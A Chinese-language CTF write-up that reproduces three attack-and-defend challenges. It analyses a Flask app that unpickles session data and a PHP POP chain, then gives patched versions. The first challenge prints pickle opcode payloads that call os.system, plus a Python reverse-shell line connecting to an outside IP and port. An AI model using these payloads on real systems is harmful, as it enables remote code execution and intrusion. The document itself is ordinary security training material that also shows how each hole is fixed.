队里有几个成员去打,回来后在群里发了附件,看了一下感觉不难,就决定复现一下

因为不知道具体题目顺序和名字,只有队员给的附件(复现也都是按照队员给的附件内容来,如果同样有参加的师傅发现缺漏,欢迎在评论区告诉我),所以就按照我的做题顺序来排序。同时为了还原真实线下做题场景,不使用在线工具

第一题

首页一个登录框和一个注册,扫一下目录发现有个cache,访问一下得到一个.pyc文件,用pycdc反编译后得到下面代码

# Source Generated with Decompyle++
# File: app.cpython-38.pyc (Python 3.8)

from flask import Flask, request, render_template, redirect, url_for, session, send_from_directory
import os
import pickle
import base64
app = Flask(__name__)
app.secret_key = 's3cr3t_Key_Y0u_Nev3r_GuesS'
USERS_DIR = 'users'
if not os.path.exists(USERS_DIR):
    os.makedirs(USERS_DIR)

def register():
Unsupported opcode: BEGIN_FINALLY (97)
    username = request.form.get('username')
    password = request.form.get('password')
    user_data = {
        'username': username,
        'password': password }
    user_file = os.path.join(USERS_DIR, base64.b64encode(username.encode('utf-8')).decode('utf-8') + '.data')
# WARNING: Decompyle incomplete

register = app.route('/reg', [
    'POST'], **('methods',))(register)

def register_page():
    return render_template('register.html')

register_page = app.route('/register')(register_page)

def login():
Unsupported opcode: BEGIN_FINALLY (97)
    username = request.form.get('username')
    password = request.form.get('password')
    user_file = os.path.join(USERS_DIR, base64.b64encode(username.encode('utf-8')).decode('utf-8') + '.data')
# WARNING: Decompyle incomplete

login = app.route('/login', [
    'POST'], **('methods',))(login)

def index():
    data = session.get('data', None)
    if data:
        data = base64.b64decode(data)
        if b'R' in data and b'built' in data or b'setstate' in data:
            return 'hacker???'
        user_data = None.loads(data)
        username = user_data['username']
        return render_template('index.html', username, **('username',))
    return None(url_for('login_page'))

index = app.route('/index')(index)

def login_page():
    return render_template('login.html')

login_page = app.route('/')(login_page)

def logout():
    session.pop('data', None)
    return redirect(url_for('login_page'))

logout = app.route('/logout', [
    'POST'], **('methods',))(logout)

def download_cache_file():
    cache_file_path = os.path.join('__pycache__', 'app.cpython-38.pyc')
    if os.path.exists(cache_file_path):
        return send_from_directory(os.path.dirname(cache_file_path), os.path.basename(cache_file_path), True, **('as_attachment',))
    return None

download_cache_file = app.route('/cache')(download_cache_file)
if __name__ == '__main__':
    app.run('0.0.0.0', **('host',))

核心利用逻辑在这里

def index():
    data = session.get('data', None)
    if data:
        data = base64.b64decode(data)
        if b'R' in data and b'built' in data or b'setstate' in data:
            return 'hacker???'
        user_data = None.loads(data)
        username = user_data['username']
        return render_template('index.html', username, **('username',))
    return None(url_for('login_page'))

看到过滤R第一反应就是要打opcode,但是不急,接着往下看

看到这儿有个None.loads,因为要触发opcode的前提是有pickle反序化,在import部分也看到了pickle包

所以推测这个None就是pickle,只是pycdc没有反编译出来

既然这样,接下来就是找能过这个过滤的opcode了。这里顺带复习一下几种常见的opcode指令

R指令

cos
system 
(S'ls' 
tR. 

i指令

b'''(S'whoami'
ios
system
.'''

o指令

b'''(cos
system
S'whoami'
o.'''

这里随便找一个满足上述没有在黑名单的指令即可。这里我用o指令来打。首先先抓一个session来解一下,看一下结构和secret_key是否正确

没毛病,接下来就是构造opcode。原先data里的这个opcode,解开后是一个字典

因此没办法利用username进行回显,所以只能反弹shell。只要把revershells生成的python马塞到o指令里就行。payload如下

b'''(cos
system
S'python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("1.1.1.1"),int(os.getenv("1451"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")''
o.'''

这里有一个小细节要注意,revershells生成的反弹shell里有可能存在大写R,比如我框出来的地方

这里我用shortest的payload就没问题

将结果重新用session manager编码后,携带新的session发送即可拿到shell

先把原版代码薅下来

from flask import Flask, request, render_template, redirect, url_for, session, send_from_directory
import os
import pickle
import base64

app = Flask(__name__)
app.secret_key = 's3cr3t_Key_Y0u_Nev3r_GuesS'


USERS_DIR = "users"


if not os.path.exists(USERS_DIR):
    os.makedirs(USERS_DIR)


@app.route('/reg', methods=['POST'])
def register():
    username = request.form.get('username')
    password = request.form.get('password')
    user_data = {
        'username': username,
        'password': password,
    }
    user_file = os.path.join(USERS_DIR, base64.b64encode(username.encode('utf-8')).decode('utf-8') + '.data')

    with open(user_file, 'wb') as file:
        pickle.dump(user_data, file)

    return "Registration successful"


@app.route('/register')
def register_page():
    return render_template('register.html')



@app.route('/login', methods=['POST'])
def login():
    username = request.form.get('username')
    password = request.form.get('password')
    user_file = os.path.join(USERS_DIR, base64.b64encode(username.encode('utf-8')).decode('utf-8') + '.data')

    if os.path.exists(user_file):
        with open(user_file, 'rb') as file:
            stored_data = pickle.load(file)
            if password == stored_data['password']:
                session['data'] = base64.b64encode(pickle.dumps(stored_data)).decode('utf-8')
                return redirect(url_for('index'))

    return "Login failed"


@app.route('/index')
def index():
    data = session.get('data', None)
    if data:
        data = base64.b64decode(data)
        if b'R' in data or b'built' in data or b'setstate' in data:
            return "hacker???"
        user_data = pickle.loads(data)
        username = user_data['username']
        return render_template('index.html', username=username)
    else:
        return redirect(url_for('login_page'))



@app.route('/')
def login_page():
    return render_template('login.html')



@app.route('/logout', methods=['POST'])
def logout():
    session.pop('data', None) 
    return redirect(url_for('login_page'))


@app.route('/cache')
def download_cache_file():
    cache_file_path = os.path.join('__pycache__', 'app.cpython-38.pyc')
    if os.path.exists(cache_file_path):
        return send_from_directory(os.path.dirname(cache_file_path), os.path.basename(cache_file_path),
                                   as_attachment=True)
    else:
        return "Cache file not found"


if __name__ == '__main__':
    app.run(host='0.0.0.0')

其实主要就是担心被opcode搞了,所以修改的逻辑就是不用pickle。直接改用json存就好了。修复完后完整代码如下

from flask import Flask, request, render_template, redirect, url_for, session, send_from_directory
import os
import json
import base64

app = Flask(__name__)
app.secret_key = 's3cr3t_Key_Y0u_Nev3r_GuesS'

USERS_DIR = "users"

if not os.path.exists(USERS_DIR):
    os.makedirs(USERS_DIR)

@app.route('/reg', methods=['POST'])
def register():
    username = request.form.get('username')
    password = request.form.get('password')
    user_data = {
        'username': username,
        'password': password,
    }
    user_file = os.path.join(USERS_DIR, base64.b64encode(username.encode('utf-8')).decode('utf-8') + '.json')

    with open(user_file, 'w') as file:
        json.dump(user_data, file)

    return "Registration successful"

@app.route('/register')
def register_page():
    return render_template('register.html')

@app.route('/login', methods=['POST'])
def login():
    username = request.form.get('username')
    password = request.form.get('password')
    user_file = os.path.join(USERS_DIR, base64.b64encode(username.encode('utf-8')).decode('utf-8') + '.json')

    if os.path.exists(user_file):
        with open(user_file, 'r') as file:
            stored_data = json.load(file)
            if password == stored_data['password']:
                session['data'] = base64.b64encode(json.dumps(stored_data).encode('utf-8')).decode('utf-8')
                return redirect(url_for('index'))

    return "Login failed"

@app.route('/index')
def index():
    data = session.get('data', None)
    if data:
        data = base64.b64decode(data).decode('utf-8')
        user_data = json.loads(data)
        username = user_data['username']
        return render_template('index.html', username=username)
    else:
        return redirect(url_for('login_page'))

@app.route('/')
def login_page():
    return render_template('login.html')

@app.route('/logout', methods=['POST'])
def logout():
    session.pop('data', None) 
    return redirect(url_for('login_page'))

@app.route('/cache')
def download_cache_file():
    cache_file_path = os.path.join('__pycache__', 'app.cpython-38.pyc')
    if os.path.exists(cache_file_path):
        return send_from_directory(os.path.dirname(cache_file_path), os.path.basename(cache_file_path),
                                   as_attachment=True)
    else:
        return "Cache file not found"

if __name__ == '__main__':
    app.run(host='0.0.0.0')

第二题

只有一段代码

<?php
error_log(0);
session_start();

class safe {
    public $password;
    public function __destruct() {
        echo $this->password;
    }
}

class unsafe {
    public $username;
    public function __toString() {
        $action = $_GET['action'] ?: '';
        $arg = $_GET['arg'] ?: '';
        $this->username = $this->username . "hack me!";
        if (preg_match('/^[a-z0-9_]*$|\n/isD', $action)) {
            echo "Do it another way";
        } else {
            if (substr(md5($this->username), 0, 5) == 'ae471') {
                $action('', $arg);
            }
        }
        return "__toString was called!";
    }
}

// 创建 SQLite3 数据库连接
$db = new SQLite3('users.db');

// 创建用户表(如果不存在)
$db->exec('CREATE TABLE IF NOT EXISTS users (username TEXT, password TEXT)');

// 插入一些示例用户数据(仅在表为空时)
$result = $db->query('SELECT COUNT(*) as count FROM users');
$row = $result->fetchArray();
if ($row['count'] == 0) {
    $db->exec("INSERT INTO users (username, password) VALUES ('user1', 'password1')");
    $db->exec("INSERT INTO users (username, password) VALUES ('user2', 'password2')");
}

if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['username']) && isset($_POST['password'])) {
    $username = $_POST['username'];
    $password = $_POST['password'];

    // 查询数据库以验证用户
    $stmt = $db->prepare('SELECT * FROM users WHERE username = :username AND password = :password');
    $stmt->bindValue(':username', $username, SQLITE3_TEXT);
    $stmt->bindValue(':password', $password, SQLITE3_TEXT);
    $result = $stmt->execute();

    if ($result->fetchArray()) {
        $_SESSION['username'] = $username;
        echo "登录成功!欢迎你," . htmlspecialchars($username) . "。";
    } else {
        echo "用户名或密码错误。";
    }
}

if (isset($_SESSION['username'])) {
    echo "你已经登录,用户名:" . htmlspecialchars($_SESSION['username']) . "。";
} else {
    echo '<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>登录页面</title>
    <link rel="stylesheet" type="text/css" href="styles.css">
</head>
<body>
    <div class="login-container">
        <div class="login-box">
            <h2>用户登录</h2>
            <form method="POST">
                <div class="form-group">
                    <label for="username">用户名</label>
                    <input type="text" id="username" name="username" placeholder="请输入用户名" required>
                </div>
                <div class="form-group">
                    <label for="password">密码</label>
                    <input type="password" id="password" name="password" placeholder="请输入密码" required>
                </div>
                <button type="submit">登录</button>
            </form>
        </div>
    </div>
</body>
</html>';
}

if (isset($_POST["unsafe"])) {
    unserialize($_POST["unsafe"]);
}
?>

这里的登录感觉只是为了掩人耳目,不重要,重要的是下面的反序化。

pop链非常简单,比较难的地方是$action的过滤,因为这个$action的值影响到$arg的赋值思路。如果$arg是拼接注入,那么$action是什么都无所谓。如果$arg是作为第二个正常的参数,那么$action要用什么就得照着php手册挨个试个东西出来。显然第二种情况更bad,所以先想想有没有可能绕过这一大坨正则

这里我在没有借助搜索引擎的情况下也想了挺久,在本地正则匹配里一直捣鼓。直到我翻了翻小屋

https://redshome.top/2023/10/25/靶场笔记第十章/

梭哈!最后一步,就是想一想怎么过md5截断判断了。这里我在没借助网络的情况下没想出什么好办法,只能斗胆试一试= = 结果没想到又被我梭出来了

最后把这些payload拼在一块就行

非常简单,把这些反序化类和unserialize删掉全部就行,不影响原有功能,这应该是全场最好修的题

第三题

这两天比较忙还没空写,简单看了一下应该有3个攻击点,分别是文件上传,反序化和用户名命令拼接,有空再继续更新